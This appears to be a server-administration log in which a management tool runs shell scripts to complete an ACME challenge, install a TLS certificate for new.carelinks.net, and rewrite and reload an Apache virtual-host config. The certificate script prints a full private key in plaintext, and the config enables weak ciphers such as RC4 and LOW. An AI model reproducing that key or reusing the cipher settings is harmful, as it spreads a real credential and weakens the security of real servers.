MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-29 21:52:06: Establishing a connection
2025-12-29 21:52:06: Establishing a connection
2025-12-29 21:52:06: 

PUT: /tmp/pkp946949

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-29 21:52:06: 

chmod 755 /tmp/pkp946949; /tmp/pkp946949; rm /tmp/pkp946949

2025-12-29 21:52:06: 


0


2025-12-29 21:52:45: Establishing a connection
2025-12-29 21:52:45: Establishing a connection
2025-12-29 21:52:45: 

PUT: /tmp/pkp686376

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-29 21:52:45: 

chmod 755 /tmp/pkp686376; /tmp/pkp686376; rm /tmp/pkp686376

2025-12-29 21:52:45: 


1


2025-12-29 21:52:47: Establishing a connection
2025-12-29 21:52:47: 

PUT: /tmp/pkp435103

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4


2025-12-29 21:52:47: 

chmod 755 /tmp/pkp435103; /tmp/pkp435103; rm /tmp/pkp435103

2025-12-29 21:52:47: 




2025-12-29 21:52:51: Establishing a connection
2025-12-29 21:52:51: 

PUT: /tmp/pkp353228

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
rm O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4


2025-12-29 21:52:51: 

chmod 755 /tmp/pkp353228; /tmp/pkp353228; rm /tmp/pkp353228

2025-12-29 21:52:51: 




2025-12-29 21:52:51: Establishing a connection
2025-12-29 21:52:51: 

PUT: /tmp/pkp112626

#!/bin/bash
temp_file=$(mktemp)
TARGET=c13083ef22e4da45778cd2f50f19c2de.crt

cat > $temp_file <<'endmsg'
c1:5c:98:af:57:ae:9f:2e:7a:32:a9:e7:fc:61:47:3d

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBj8fg4k6CFh3nY7hdrSbj7/UMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI5MjA1NDIwWhcNMjYwMzI5MjA1NDE5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL1fHL/FpwwxJFiRkVdXx452W/+mhbR7HGgiyiUdt5Ee7vbTSnwRaiNXtQC5
0Sbb/cSXfqkwcZk4cknmhT09LvxCnx3ZiU+MNOKNnIgEtUHcLgZkFA2yyAwv6Ad3
aEPR84jTGEf2Kzssg+Nol0lj5rYwiYMZnPGe760w7XZtMAYwdBz9+W6LtnBI9gGr
5w9ihscIX4gXwVrSBg1keMS5KG3mj1LaamPoc91EQ0oc3DSVL3JjoK6xZLSdfgIF
aZdebvLkbeHPVvrkpAe4tMhS7iN97mZwSii8JFNMe4blgUrLwi+sL0KHvIdyjoLV
QSFXhEXSB7umOMWmQPdjklWVu3sCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUoK9qP0zxMYjFK03V0Q7xbL4IfewwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFuZXcuY2FyZWxpbmtzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm2wZhicAAAQDAEcw
RQIhAPhc29SwSYlsgeeUJTRBfpIRKqzWTdi6i8mY591riKdbAiApaRvkNs/suZ1y
mxcqUodLaKbrtjUTXpw0kz9rzRVKxwB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABm2wZhxsACAAABQAtqHgMBAMARzBFAiEA07lgaORLsgO+tW2e
ujUtBIPXF6mbUGtO7UgM47evFYwCIHA0Xc6+0Gs/mosXsocOcGRBUSEUBX5jq00S
vAAY1RyjMA0GCSqGSIb3DQEBCwUAA4IBAQAbC483YRxc2ZmEiVhN1jBZ8IvEjOKB
r/ZqZanuaFMswPl4zY4IY3LV1F1lOKmlRrFPtC7uJhqDfQJOI7DjhgjQmsTPM7/w
oH7GLs1XbooaU7ABCUneSr6OdEFfsNoYAmP15GvOKo66wljRYaR61lDfTtlQyGgr
TBj6SJy+iQ+MIdCIwYbzY2uzweg264AtLusbjoBiD2TW43m8pIESY9ziUepnH3pq
Ba6jBr5KgXfdvocl/fIsGp2dK/YDHH5c/jopnFwEC5tCaCFnPbfUHzJMMEKSCqC/
3Ms75WrH2wFdfpwfp0T5RL9BcBa0PAuAnYbWLiwf75YB3EtRHd0lxUHt
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Xxy/xacMMSRY
kZFXV8eOdlv/poW0exxoIsolHbeRHu7200p8EWojV7UAudEm2/3El36pMHGZOHJJ
5oU9PS78Qp8d2YlPjDTijZyIBLVB3C4GZBQNssgML+gHd2hD0fOI0xhH9is7LIPj
aJdJY+a2MImDGZzxnu+tMO12bTAGMHQc/flui7ZwSPYBq+cPYobHCF+IF8Fa0gYN
ZHjEuSht5o9S2mpj6HPdRENKHNw0lS9yY6CusWS0nX4CBWmXXm7y5G3hz1b65KQH
uLTIUu4jfe5mcEoovCRTTHuG5YFKy8IvrC9Ch7yHco6C1UEhV4RF0ge7pjjFpkD3
Y5JVlbt7AgMBAAECggEARsvpHpTRJ9Czat04/fNWKp97M29Y6ylfbFsdQZUDjKCI
7AQAA7Qq/v2KMLRHSgTSsY2Fj9EJlyOwLoqc41EdYLezbuBl4jRjjRMuIvfHn9Cl
8EO374sYGN5MG4Z7l2dFabCpkjWo4d15jSoL7ScJGLG6pyWLNBWcOx5gmHanjpgm
zjyJ1OBSdyGVNJiRXe9LATLT7fqhZNlDj+ARGpolNW2/Gnus3RYgZQVsGiPSJU4F
jqlsZQI3/r2SUH3/lv1Kci4oktsCYhJO3RFts+q8EBe/8vnrQpqib1jbEtqQl1Bu
VMTbI4iei3qYqCg/ihizBfSZgz4FZTO11FIuqpbakQKBgQD51qnwQiBwHcqBrrJr
MhD6T0q0qYO8X7/XYQ2CkWH65pKthIZBh+LgdbzDI1tUkw5JdMP4iq+wjV68EgZ6
kx4j6ePo2uEQuHH1UO1Y8Shwkd+07UvG0bKK6ybIbpWNRYBxSgcnxzSCAAbe8nOc
e0mOL6QifCSG2urRUDL54j6MAwKBgQDCCrHc9hsZcONnoJQMt8/R8gr+8MYTF3v1
jKyLyRYrPq3pY6QRB194WgAWB67K5b5purjGR7v7AV+o1DW5mo4JRwoKdHeg7mct
5n0stBXq4iWjJxoak8wD21xEmsQq9d81YkiSKUvJ1x7ojY+xbx++U4mA5t2wFgpS
iFskY/HFKQKBgHmuSmBA5KmWaN3WZwF8hfZTjhAFi6rAe5/7nefcxPq9N+0Y4Yaj
FyW5UjE8VCwR32B5ZUT0zvLPN7ejk9I5OvHE5YKwr/ND0gTn4GF0OvzwnyLwe/qe
gTXVp7Lw4RfIJPGIW4nNJM64EqCdNx+ckEuW+nrtOaEQmFNPmzRHM61fAoGBAKgW
YZraKgFw09zZskYOGF1ygWn0onC5YC0GThXM/II7iqVpJh+GNoJn3Dk5MIYcXET0
dcl1LHaz6uyx31RHeRC6VA1YdKSYwBJ33ikSWwYcHqRlY+xv6UPSCux28MWSNWfm
Gp1aXoea7PBgaIA4ldPmQ2/BDXrSrOBvtBwi47V5AoGAe7nBCGe+aMIDCbHo+r8U
aJ3k5OGbg08l6DiDx3DELSOTgDYMTdOWd3cDr/g8iu5KBuFiv2aNGi8XT7Ik5xi+
dH5eOyv0F9lmlIBGW7XKY0ec7C/geIzU5oegGRwTN4Sd41FYZ4yLJ22YYNUtKzn7
TI3IQB8mdbT0kqVvQ9cYKB0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-29 21:52:52: 

chmod 755 /tmp/pkp112626; /tmp/pkp112626; rm /tmp/pkp112626

2025-12-29 21:52:52: 


dir=/etc/ssl/certs


2025-12-29 21:52:52: 

PUT: /tmp/pkp797037

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 21:52:52: 

chmod 755 /tmp/pkp797037; /tmp/pkp797037; rm /tmp/pkp797037

2025-12-29 21:52:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-12-29 21:52:52: 

PUT: /tmp/pkp878079

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi


2025-12-29 21:52:52: 

chmod 755 /tmp/pkp878079; /tmp/pkp878079; rm /tmp/pkp878079

2025-12-29 21:52:52: 




2025-12-29 21:52:52: 

PUT: /tmp/pkp496170

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-29 21:52:52: 

chmod 755 /tmp/pkp496170; /tmp/pkp496170; rm /tmp/pkp496170

2025-12-29 21:52:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-29 21:52:52: Establishing a connection
2025-12-29 21:52:52: 

PUT: /tmp/pkp573654

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-29 21:52:52: 

chmod 755 /tmp/pkp573654; /tmp/pkp573654; rm /tmp/pkp573654

2025-12-29 21:52:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
